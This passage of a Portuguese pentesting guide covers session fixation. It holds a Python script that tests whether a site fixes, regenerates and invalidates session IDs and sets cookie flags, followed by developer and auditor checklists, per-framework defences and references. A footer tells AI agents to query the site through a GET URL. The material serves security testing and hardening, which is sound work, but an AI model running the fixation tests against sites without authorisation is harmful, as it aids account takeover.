        print("\n📋 Teste 1: Coleta de Session ID Pré-Autenticação")
        
        try:
            response = self.session.get(self.base_url)
            session_cookies = self._extract_session_cookies(response.cookies)
            
            if session_cookies:
                print(f"   ✅ Session ID encontrado: {session_cookies}")
                return session_cookies
            else:
                print(f"   ⚠️  Nenhum cookie de sessão encontrado")
                return None
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def _test_fixation(self, fixed_session):
        """Testar fixação de sessão"""
        print("\n📋 Teste 2: Tentativa de Fixação")
        
        # Criar nova sessão com o session ID fixado
        test_session = requests.Session()
        
        # Tentar definir via cookie
        test_session.cookies.set(fixed_session['name'], fixed_session['value'])
        
        try:
            # Tentar acessar área pública
            response = test_session.get(self.base_url)
            
            # Tentar login com credenciais
            login_response = test_session.post(
                urljoin(self.base_url, '/login'),
                data=self.login_data
            )
            
            # Verificar se o session ID permaneceu o mesmo
            current_session = self._extract_session_cookies(test_session.cookies)
            
            if current_session and current_session['value'] == fixed_session['value']:
                # Tentar acessar área restrita
                profile_response = test_session.get(urljoin(self.base_url, '/profile'))
                
                if profile_response.status_code == 200:
                    self.results.append({
                        'test': 'FIXATION_SUCCESS',
                        'severity': 'CRITICAL',
                        'details': f'Sessão fixada com sucesso! ID: {fixed_session["value"]}'
                    })
                    print(f"   🔴 CRÍTICO! Sessão fixada com sucesso!")
                    return True
                else:
                    print(f"   ⚠️  Sessão fixada mas acesso negado")
            else:
                print(f"   ✅ Session ID foi regenerado após login")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return False
    
    def _test_regeneration(self):
        """Testar regeneração de sessão após login"""
        print("\n📋 Teste 3: Regeneração de Sessão")
        
        try:
            # Obter session ID antes do login
            pre_login = requests.Session()
            pre_login.get(self.base_url)
            pre_session = self._extract_session_cookies(pre_login.cookies)
            
            # Realizar login
            login_response = pre_login.post(
                urljoin(self.base_url, '/login'),
                data=self.login_data
            )
            
            # Obter session ID após login
            post_session = self._extract_session_cookies(pre_login.cookies)
            
            if pre_session and post_session:
                if pre_session['value'] == post_session['value']:
                    self.results.append({
                        'test': 'NO_REGENERATION',
                        'severity': 'HIGH',
                        'details': 'Session ID não foi regenerado após login'
                    })
                    print(f"   🟠 ALTO! Session ID não foi regenerado")
                else:
                    print(f"   ✅ Session ID regenerado com sucesso")
            else:
                print(f"   ⚠️  Não foi possível obter session IDs")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_post_logout(self):
        """Testar persistência após logout"""
        print("\n📋 Teste 4: Persistência Pós-Logout")
        
        try:
            # Login
            auth_session = requests.Session()
            auth_session.get(self.base_url)
            auth_session.post(
                urljoin(self.base_url, '/login'),
                data=self.login_data
            )
            
            session_cookie = self._extract_session_cookies(auth_session.cookies)
            
            if not session_cookie:
                print("   ⚠️  Não foi possível obter session ID")
                return
            
            # Logout
            auth_session.get(urljoin(self.base_url, '/logout'))
            
            # Tentar reutilizar o mesmo cookie
            new_session = requests.Session()
            new_session.cookies.set(session_cookie['name'], session_cookie['value'])
            
            profile_response = new_session.get(urljoin(self.base_url, '/profile'))
            
            if profile_response.status_code == 200:
                self.results.append({
                    'test': 'SESSION_PERSISTENCE',
                    'severity': 'HIGH',
                    'details': f'Sessão {session_cookie["value"]} permanece válida após logout'
                })
                print(f"   🟠 ALTO! Sessão ainda válida após logout")
            else:
                print(f"   ✅ Sessão invalidada após logout")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_cookie_security(self):
        """Testar flags de segurança dos cookies"""
        print("\n📋 Teste 5: Flags de Segurança")
        
        try:
            response = self.session.get(self.base_url)
            cookies = response.cookies
            
            issues = []
            
            for cookie in cookies:
                if not cookie.secure:
                    issues.append(f"{cookie.name}: Secure flag ausente")
                if not cookie.has_nonstandard_attr('HttpOnly'):
                    issues.append(f"{cookie.name}: HttpOnly flag ausente")
                if not cookie.has_nonstandard_attr('SameSite'):
                    issues.append(f"{cookie.name}: SameSite não configurado")
            
            if issues:
                self.results.append({
                    'test': 'COOKIE_FLAGS',
                    'severity': 'MEDIUM',
                    'details': issues
                })
                print(f"   🟡 MÉDIO! Problemas nas flags:")
                for issue in issues:
                    print(f"      - {issue}")
            else:
                print(f"   ✅ Flags de segurança configuradas corretamente")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _extract_session_cookies(self, cookies):
        """Extrair cookies de sessão"""
        session_names = ['sessionid', 'PHPSESSID', 'JSESSIONID', 'ASP.NET_SessionId', 'sid']
        
        for cookie in cookies:
            if cookie.name.lower() in session_names:
                return {'name': cookie.name, 'value': cookie.value}
        
        return None
    
    def _print_report(self):
        """Imprimir relatório final"""
        print("\n" + "=" * 70)
        print("📊 RELATÓRIO DE SESSION FIXATION")
        print("=" * 70)
        
        if not self.results:
            print("✅ Nenhuma vulnerabilidade de Session Fixation encontrada")
            return
        
        severity_order = {'CRITICAL': 0, 'HIGH': 1, 'MEDIUM': 2, 'LOW': 3}
        sorted_results = sorted(self.results, key=lambda x: severity_order.get(x['severity'], 4))
        
        print(f"⚠️  {len(self.results)} vulnerabilidade(s) encontrada(s):\n")
        
        for result in sorted_results:
            severity_icon = {
                'CRITICAL': '🔴',
                'HIGH': '🟠',
                'MEDIUM': '🟡',
                'LOW': '🔵'
            }.get(result['severity'], '⚪')
            
            print(f"{severity_icon} [{result['severity']}] {result['test']}")
            
            if isinstance(result['details'], list):
                for detail in result['details']:
                    print(f"   • {detail}")
            else:
                print(f"   • {result['details']}")
            print()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: session_fixation_tester.py <url> <username> <password>")
        sys.exit(1)
    
    tester = SessionFixationTester(
        base_url=sys.argv[1],
        login_data={'username': sys.argv[2], 'password': sys.argv[3]}
    )
    tester.run_tests()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Gerenciamento de Sessão**

* [ ] Regenerar session ID após login bem-sucedido
* [ ] Não aceitar session IDs via URL
* [ ] Implementar timeout de sessão (30 minutos máximo)
* [ ] Invalidar sessão no logout
* [ ] Limpar dados sensíveis da sessão após logout

#### **Configuração de Cookies**

* [ ] HttpOnly flag habilitada
* [ ] Secure flag habilitada (requer HTTPS)
* [ ] SameSite=Strict ou SameSite=Lax configurado
* [ ] Domain e Path restritos ao necessário
* [ ] Tempo de expiração adequado

#### **Fingerprint de Sessão**

* [ ] Armazenar IP address na sessão (opcional)
* [ ] Armazenar User-Agent na sessão
* [ ] Validar fingerprint em cada requisição autenticada
* [ ] Regenerar sessão se fingerprint mudar

#### **Infraestrutura**

* [ ] Forçar HTTPS em toda aplicação
* [ ] Configurar HSTS (Strict-Transport-Security)
* [ ] Implementar Content-Security-Policy
* [ ] Configurar X-Frame-Options

### **Checklist para Auditores/Pentesters**

#### **Reconhecimento**

* [ ] Identificar método de transmissão do session ID (cookie/URL)
* [ ] Verificar flags de segurança dos cookies
* [ ] Mapear endpoints de login/logout
* [ ] Analisar mecanismo de autenticação

#### **Testes de Fixação**

* [ ] Tentar fixar session ID via URL
* [ ] Tentar fixar session ID via cookie (JavaScript)
* [ ] Tentar fixar session ID via header personalizado
* [ ] Testar se session ID é regenerado após login

#### **Testes de Persistência**

* [ ] Verificar se session ID permanece válido após logout
* [ ] Testar timeout de sessão
* [ ] Verificar se fingerprint de sessão é validado

#### **Validação Final**

* [ ] Criar PoC (Proof of Concept) de exploração
* [ ] Documentar impacto e risco
* [ ] Recomendar mitigações específicas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Session Fixation é uma vulnerabilidade crítica que:
  
  ✅ Pode ser prevenida com:
    - Regeneração de session ID após login
    - Cookies com flags de segurança
    - Fingerprint de sessão
    - HTTPS obrigatório

  🔴 Consequências:
    - Sequestro total de conta
    - Acesso não autorizado
    - Roubo de dados
    - Ações em nome do usuário

  🎯 Prioridade de correção:
    - CRÍTICA para aplicações financeiras
    - ALTA para aplicações com dados sensíveis
    - MÉDIA para aplicações informacionais
```

### **Boas Práticas Essenciais**

{% stepper %}
{% step %}

### Sempre regenerar session ID após autenticação

* PHP: `session_regenerate_id(true)`
* Django: Automático via `login()`
* Express: `req.session.regenerate()`
* Spring: `sessionFixation().migrateSession()`
  {% endstep %}

{% step %}

### Nunca transmitir session ID via URL

* Configurar `session.use_only_cookies = 1` (PHP)
* Evitar `;jsessionid=` na URL (Java)
  {% endstep %}

{% step %}

### Configurar cookies com flags de segurança

* `HttpOnly`: Protege contra XSS
* `Secure`: Transmissão apenas via HTTPS
* `SameSite=Strict`: Protege contra CSRF
  {% endstep %}

{% step %}

### Implementar fingerprint de sessão

* IP address (cuidado com proxies móveis)
* User-Agent
* Validação em cada requisição autenticada
  {% endstep %}

{% step %}

### Forçar HTTPS em toda aplicação

* Configurar HSTS
* Redirecionar HTTP para HTTPS
  {% endstep %}
  {% endstepper %}

### **Frameworks que Protegem Automaticamente**

| Framework       | Proteção Nativa | Configuração Necessária                  |
| --------------- | --------------- | ---------------------------------------- |
| **Django**      | ✅ Sim           | `SESSION_COOKIE_SECURE=True`             |
| **Rails**       | ✅ Sim           | `config.force_ssl = true`                |
| **Laravel**     | ✅ Sim           | `'secure' => true` no config/session.php |
| **Spring Boot** | ✅ Sim           | `sessionFixation().migrateSession()`     |
| **Express**     | ⚠️ Parcial      | Configurar `cookie` e regeneração manual |
| **Flask**       | ⚠️ Parcial      | `session.permanent = True` + regeneração |

### **Referências e Padrões**

* **OWASP** - Session Fixation Cheat Sheet
* **OWASP** - Testing for Session Fixation (WSTG-SESS-03)
* **CWE-384** - Session Fixation
* **RFC 6265** - HTTP State Management Mechanism
* **NIST SP 800-63B** - Digital Identity Guidelines


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/autenticacao/session-fixation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
